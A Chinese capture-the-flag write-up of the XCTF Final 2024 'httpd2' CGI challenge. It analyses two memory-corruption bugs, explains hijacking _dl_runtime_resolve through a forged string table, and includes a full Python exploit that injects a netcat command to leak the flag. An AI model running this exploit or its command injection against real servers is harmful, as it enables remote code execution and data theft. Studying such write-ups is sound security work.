xctf final 2024 httpd2 writeup
字数 1235 2025-08-20 18:18:23
XCTF Final 2024 httpd2 Writeup 教学文档
题目概述
这是一个基于Apache服务器的CGI程序漏洞利用题目,主要考察对内存布局的理解和利用能力。题目实现了一个简单的登录逻辑CGI程序main.cgi,其中包含两个漏洞。
漏洞分析
漏洞1:全局数组越界写指针
在sub_1429函数中,处理URL参数时会将参数指针保存到全局数组qword_40C0中。虽然代码检查了索引是否超过0x2000,但在循环中没有及时退出,导致可以越界写指针。
if (v11 != 0x2000) {
qword_40C0[v11] = v10 + 1 + v14;
if (!v9[1]) break;
}
漏洞2:genCookie函数中的越界写0
在genCookie函数中,未检查输入的密码长度,导致可以越界写0:
v4 = strlen(a1);
sub_135A(dest, 0x400uLL, a1, v4 + 1);
dest[v4] = 0;
sprintf(src, ":%lx", buf);
strncat(dest, src, 0x400uLL);
return dest;
利用思路
1. 目标选择
利用第二个漏洞(越界写0)来修改link_map结构中的l_info[DT_STRTAB],劫持_dl_runtime_resolve流程,实现任意函数执行。
2. _dl_runtime_resolve原理
_dl_runtime_resolve在解析函数地址时:
- 从
link_map中获取符号表(symtab)和字符串表(strtab) - 根据偏移从符号表获取对应表项
- 使用
strtab + sym->st_name作为函数名查找函数地址
通过修改strtab,可以控制解析的函数名。
3. 利用步骤
-
定位关键地址:
link_map结构位于libctf.so的内存区域l_info[DT_STRTAB]位于link_map+0x68处- 需要计算从缓冲区到目标地址的偏移
-
伪造strtab:
- 复制原始
strtab内容 - 将
getPass替换为system - 保持其他字符串偏移不变
- 复制原始
-
内存布局:
- 利用全局数组
qword_40C0存储伪造的strtab指针 - 通过越界写0修改
l_info[DT_STRTAB]指向伪造的指针
- 利用全局数组
-
触发利用:
- 调用
getPass函数时,实际会解析为system - 将命令作为用户名传入
- 调用
调试技巧
-
由于Apache会fork子进程处理请求,需要附加到正确的进程:
gdb attach <www用户进程PID> -
设置断点和跟踪:
break fork set follow-fork-mode child catch exec continue -
程序会在
main.cgi的__start处停下,可以开始调试
利用代码实现
import requests
ip = "127.0.0.1"
port = 8888
# 计算关键地址偏移
overflow_start_addr = 0x7fbfd7002000 + 0x14300
link_map_0x68 = 0x7fbfd713c248
ptr_arr_addr = 0x7fbfd7002000 + 0x40C0
real_strtab_addr = 0x7fbfd701aea0
# 计算需要覆盖的偏移
strtab_pad = link_map_0x68 - overflow_start_addr + 2
# 伪造strtab,将getPass替换为system
fake_strtab = "%00__gmon_start__%00_ITM_deregisterTMCloneTable%00_ITM_registerTMCloneTable%00__cxa_finalize%00checkLogin%00genCookie%00getPass%00strcmp%00printf%00libctfc.so%00libc.so.6%00GLIBC_2.2.5%00%00"
fake_strtab = fake_strtab.replace("%00getPass%00", "%00system%00".ljust(len("%00getPass%00"), 'a'))
def cons_ptr_arr():
least_2_bytes = real_strtab_addr & 0xffff
re = ""
offset = ptr_arr_addr
for i in range(0x2000):
if (offset-8) & 0xffff == least_2_bytes:
re += fake_strtab
break
else:
re += "a=b"
offset += 8
re += '&'
return re
def send_req(data):
url = f"http://{ip}:{port}/cgi-bin/main.cgi"
data_len = len(data)
headers = {
"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
"Content-Length": f"{data_len}",
}
response = requests.post(url, data=data)
print(response.text)
# 构造利用数据
data = cons_ptr_arr()
cmd = "nc -lvp 8888 < ../flag"
data += f"&username={cmd}&passwd={'a'*strtab_pad}&a=b"
# 尝试利用
i = 0
while True:
i += 1
print(i)
send_req(data)
关键点总结
- 漏洞选择:虽然有两个漏洞,但只有越界写0的漏洞实际可利用
- 利用目标:选择修改
link_map结构中的strtab指针 - 内存布局:
- 精确计算偏移量
- 利用全局数组存储伪造指针
- 函数劫持:将
getPass替换为system - 稳定性:由于ASLR存在,可能需要多次尝试
防御建议
- 对所有数组访问进行边界检查
- 对用户输入的长度进行严格限制
- 使用更安全的字符串处理函数
- 启用更严格的内存保护机制(如FORTIFY_SOURCE)
这个题目展示了如何利用看似微小的内存破坏漏洞(单个字节的越界写)来实现完整的代码执行,强调了内存安全编程的重要性。